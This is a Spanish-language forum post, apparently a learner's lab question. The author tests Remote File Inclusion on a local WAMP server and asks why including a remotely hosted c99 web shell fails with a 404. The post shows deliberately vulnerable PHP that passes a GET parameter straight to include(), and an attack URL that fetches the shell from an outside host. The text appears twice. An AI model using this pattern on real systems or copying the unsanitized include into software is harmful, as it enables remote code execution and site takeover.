Buenas, tome un ejemplo de un codigo vulnerable de la wiki de elhacker.net.
Este codigo que voy a poner a continuacion, lo tengo en un wamp, es decir me instale un servidor local para hacer la prueba.
El index.html seria el siguiente:
El rfi.php seria el siguiente:
Ahora bien, me cree una cuenta en un servidor gratuito, para ser mas especifico en este : 000webhost.com
Y subi una shell(c99) con extension en txt.
Ahora bien, verifique efectivamente que la web esta sea vulnerable de al siguiente manera : http://localhost/rfi.php?cont=http://google.com , efectivamente abre google.
Ahora, si pruebo hacer lo siguiente :
http://localhost/rfi.php?cont=http://mipagina/shell.txt
Me dan los siguientes errores y no entiendo el motivo.
Warning: include(http://mipagina.com/shell.txt) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in C:\wamp\www\rfi.php on line 4
Warning: include() [function.include]: Failed opening 'http://mipagina.com/shell.txt'; for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\rfi.php on line 4
Alguien entiendo cual es el problema? o si estoy haciendo algo mal?
Saludos y gracias.
Este codigo que voy a poner a continuacion, lo tengo en un wamp, es decir me instale un servidor local para hacer la prueba.
El index.html seria el siguiente:
Código [Seleccionar]
<HTML>
<HEAD>
<TITLE> Prueva de RFI </TITLE>
</HEAD>
<BODY>
<A HREF="rfi.php?cont=hola.html">Hola!</A>
<BR><BR>
<A HREF="rfi.php?cont=adios.html">Adios!</A>
</BODY>
</HTML>
El rfi.php seria el siguiente:
Código [Seleccionar]
<?php
$var = $_GET["cont"];
include($var);
?>
Ahora bien, me cree una cuenta en un servidor gratuito, para ser mas especifico en este : 000webhost.com
Y subi una shell(c99) con extension en txt.
Ahora bien, verifique efectivamente que la web esta sea vulnerable de al siguiente manera : http://localhost/rfi.php?cont=http://google.com , efectivamente abre google.
Ahora, si pruebo hacer lo siguiente :
http://localhost/rfi.php?cont=http://mipagina/shell.txt
Me dan los siguientes errores y no entiendo el motivo.
Warning: include(http://mipagina.com/shell.txt) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in C:\wamp\www\rfi.php on line 4
Warning: include() [function.include]: Failed opening 'http://mipagina.com/shell.txt'; for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\rfi.php on line 4
Alguien entiendo cual es el problema? o si estoy haciendo algo mal?
Saludos y gracias.